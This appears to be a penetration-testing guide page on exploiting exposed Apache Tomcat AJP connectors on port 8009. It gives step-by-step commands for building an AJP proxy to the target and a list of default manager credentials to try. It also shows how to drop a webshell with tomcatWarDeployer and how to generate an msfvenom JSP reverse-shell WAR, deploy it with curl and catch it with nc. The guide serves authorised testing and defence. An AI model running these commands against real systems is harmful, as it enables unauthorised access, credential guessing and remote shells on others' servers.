Skip to content

AJP & Tomcat

Apache JServ Protocol (AJP) is Tomcat’s binary back-channel - port 8009 by default. When AJP is exposed externally, you can reach the Tomcat manager and any backend apps that the operator thought were behind a reverse proxy. Two ways in: front it with your own Nginx/Apache configured as an AJP client, or hit it directly with Ghostcat (CVE-2020-1938) for file disclosure / RCE.

Terminal window
# Detection
nmap -sV -p 8009 <TARGET>
# Look for: ajp13 open, "Apache Jserv" in service banner
# Direct exploitation (preferred)
# → see Ghostcat page
# Proxy-based access (when Ghostcat is patched)
# → set up Nginx or Apache as AJP client (below)

Success indicator: the Tomcat default page or /manager/html reachable from your browser via the local proxy.

  • Internal pentests with a poorly segmented network
  • External assessments where someone exposed 8009 thinking it was internal-only
  • Container deployments where AJP and HTTP both bind 0.0.0.0
  • Internet-wide scans (Shodan facet port:8009) - common enough to find in scope
Terminal window
# Service detection
nmap -sV -p 8009,8080,8443 <TARGET>
# Faster sweep
nmap -p 8009 --open <NETWORK>/24
# Confirm AJP responsiveness
nmap -p 8009 --script ajp-headers,ajp-methods <TARGET>

Look for ajp13 in service banners. If port 8080 is also open and shows a Tomcat default page, the AJP connector is almost certainly the back-channel.

When Ghostcat is patched but the AJP port is still reachable, fronting it with Nginx gives you a browser-friendly window into Tomcat.

Stock Nginx doesn’t ship with AJP support - you compile from source with nginx_ajp_module.

  1. Get Nginx source and the module:

    Terminal window
    wget https://nginx.org/download/nginx-1.27.0.tar.gz
    tar -xzvf nginx-1.27.0.tar.gz
    git clone https://github.com/dvershinin/nginx_ajp_module.git
    sudo apt install -y libpcre3-dev zlib1g-dev libssl-dev
  2. Compile with the AJP module:

    Terminal window
    cd nginx-1.27.0
    ./configure --add-module=../nginx_ajp_module \
    --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx \
    --modules-path=/usr/lib/nginx/modules
    make && sudo make install
    nginx -V 2>&1 | grep ajp
  3. Configure to point at the target. Replace the entire server block in /etc/nginx/conf/nginx.conf and add inside http { ... }:

    upstream tomcats {
    server <TARGET>:8009;
    keepalive 10;
    }
    server {
    listen 8000;
    location / {
    ajp_keep_conn on;
    ajp_pass tomcats;
    }
    }

    Use port 8000 or another free local port - port 80 is often in use.

  4. Start and verify:

    Terminal window
    sudo nginx
    curl -i http://127.0.0.1:8000/

    Expect the Tomcat default page in the response body.

  5. Reach the manager:

    Terminal window
    curl -i http://127.0.0.1:8000/manager/html -u tomcat:s3cret

    Default credentials worth trying: tomcat:tomcat, tomcat:s3cret, admin:admin, admin:tomcat, manager:manager. Tomcat ships locked by default - credentials only exist if someone added them, which means someone did add them.

Apache’s mod_proxy_ajp is precompiled - faster setup than Nginx if Apache is already on your system.

  1. Install and enable modules:

    Terminal window
    sudo apt install -y libapache2-mod-jk
    sudo a2enmod proxy proxy_ajp proxy_http
  2. Create the site config at /etc/apache2/sites-available/ajp-proxy.conf:

    <VirtualHost *:8000>
    <Proxy *>
    Require all granted
    </Proxy>
    ProxyPass / ajp://<TARGET>:8009/
    ProxyPassReverse / ajp://<TARGET>:8009/
    </VirtualHost>

    Add Listen 8000 to /etc/apache2/ports.conf if needed.

  3. Enable and start:

    Terminal window
    sudo a2ensite ajp-proxy
    sudo systemctl restart apache2
    curl -i http://127.0.0.1:8000/

When you don’t want to spin up a webserver, lightweight AJP clients exist:

Terminal window
# AJPy - Python AJP client
pip install ajpy
python -m ajpy.tomcat <TARGET> 8009 --webapp=manager
# tomcatWarDeployer - drops a webshell after auth
git clone https://github.com/mgeeky/tomcatWarDeployer
./tomcatWarDeployer.py -U tomcat -P s3cret -H <LHOST> -p <LPORT> <TARGET>:8009

Once you have a Tomcat session (manager UI, /manager/text, or shell):

Terminal window
# Generate a war reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f war -o shell.war
# Deploy via manager API (requires manager-script role)
curl -u tomcat:s3cret --upload-file shell.war \
"http://127.0.0.1:8000/manager/text/deploy?path=/shell"
# Trigger
curl http://127.0.0.1:8000/shell/
# Listen
nc -lvnp <LPORT>

The manager-script role is what enables programmatic deployment. The manager-gui role enables the web UI but not /manager/text/*. Sometimes a tester has GUI but no script - use the GUI’s “WAR file to deploy” upload form in that case.

  • AJP secret required. Tomcat 9.0.31+ defaults to requiring requiredSecret on the AJP connector. If your client gets 403 Forbidden from AJP, the connector is in protected mode. Without the secret you can’t drive it; check whether the deploying admin disabled the protection (common during migrations) or whether Ghostcat (which doesn’t need the secret on older Tomcat) applies.
  • Manager returns 403 from external IP. The manager app has its own access control via RemoteAddrValve, typically restricted to 127.0.0.1. Your AJP-proxied request appears to come from local Tomcat’s perspective only if the AJP client passes the right headers. Apache and Nginx AJP modules generally do; bare AJP clients sometimes don’t.
  • Module compile fails on Nginx. Missing dev headers. Install libpcre3-dev, zlib1g-dev, libssl-dev. On RHEL/Fedora the package names differ (pcre-devel, zlib-devel, openssl-devel).
  • Connection refused from AJP port. Tomcat’s AJP connector binds 127.0.0.1 by default in modern versions. If the port appears closed externally but the Tomcat HTTP port is open, AJP is bound locally and Ghostcat won’t work either.

AJP exposure is a configuration mistake, not a vulnerability per se - the protocol is functioning as designed. The bug, when one exists, is Ghostcat (which exploits the AJP attribute-injection design flaw). When you find an AJP port, check Ghostcat first; the proxy approach is the fallback for patched Tomcat where AJP remained externally bound.